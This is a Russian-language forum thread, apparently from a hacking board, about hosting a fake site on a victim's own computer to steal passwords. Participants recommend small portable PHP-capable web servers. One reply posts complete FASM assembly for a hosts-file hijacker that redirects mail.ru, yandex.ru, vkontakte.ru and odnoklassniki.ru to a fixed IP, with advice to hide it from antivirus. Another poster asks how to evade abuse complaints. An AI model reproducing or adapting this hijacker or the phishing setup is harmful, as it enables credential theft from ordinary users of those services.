Как такое реализовать. Нужен только php и забиндить любой айпи под сайт 127.0.0.1 или 127.0.0.2 может кто подобное делал.
b3 фейк сразу на машине жертвы хочет запускать, так что хватит и hosts'а dr.Web денвер, в общем-то достаточно портабелен, а если из него выдернуть лишние компоненты - будет и достаточно легким
dr.Web http://code.google.com/p/mongoose/ 60 кб в неупакованом виде с поддержкой PHP через CGI И вообще список мелких серверов: http://en.wikipedia.org/wiki/Tiny_web_servers
Мне больше кажется что он хочет фейк повесить на ту же машину откуда пароли хочет утащить не более. Вот тебе подменщик хостс на ASM правда надо от антивирей спрятать Code: format PE GUI 4.0 entry start include '..\INCLUDE\win32a.inc' section '.text' code readable executable start: invoke GetSystemDirectory,SystemDirectory,MAX_DIR cinvoke wsprintf,HostsFile,FileFormat,SystemDirectory invoke CreateFile,HostsFile,GENERIC_WRITE,0,0,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0 xchg eax,ebx inc eax jz exit invoke SetFilePointer,ebx,0,0,FILE_END invoke WriteFile,ebx,HostsData,HostsDataSize,Bytes,0 invoke CloseHandle,ebx exit: ret section '.data' data readable writeable MAX_DIR = 128 SystemDirectory db MAX_DIR dup(?) FileFormat db '%s\drivers\etc\hosts',0 HostsFile db MAX_PATH dup(?) HostsData: db '95.168.174.224 mail.ru',13,10 db '95.168.174.224 www.mail.ru',13,10 db '95.168.174.224 www.yandex.ru',13,10 db '95.168.174.224 yandex.ru',13,10 db '95.168.174.224 www.vkontakte.ru',13,10 db '95.168.174.224 vkontakte.ru',13,10 db '95.168.174.224 www.odnoklasniki.ru',13,10 db '95.168.174.224 odnoklasniki.ru',13,10 db '95.168.174.224 odnoklassniki.ru',13,10 db '95.168.174.224 www.odnoklassniki.ru',13,10 HostsDataSize = $-HostsData Bytes dd ? data import library kernel32,'KERNEL32.dll',user32,'USER32.dll' include '..\INCLUDE\api\kernel32.inc' include '..\INCLUDE\api\user32.inc' end data section '.rsrc' readable resource from 'main.res'
что значит проксировать? мне надо чтоб независимо от хостинга у юзера показывалась моя страничка, сами понимаете абузы и пр.
Создаешь сокет, слушаешь, при соединении создаешь поток, которым выполняешь нужные действия. Пара килобайт и ночь времени при реализации методом "копипастить-говнокодить". P.S. Это(курсовая) было мной сделано в ночь перед экзаменом, с нуля. Я тогда первый раз щупал соксы на C. Успел.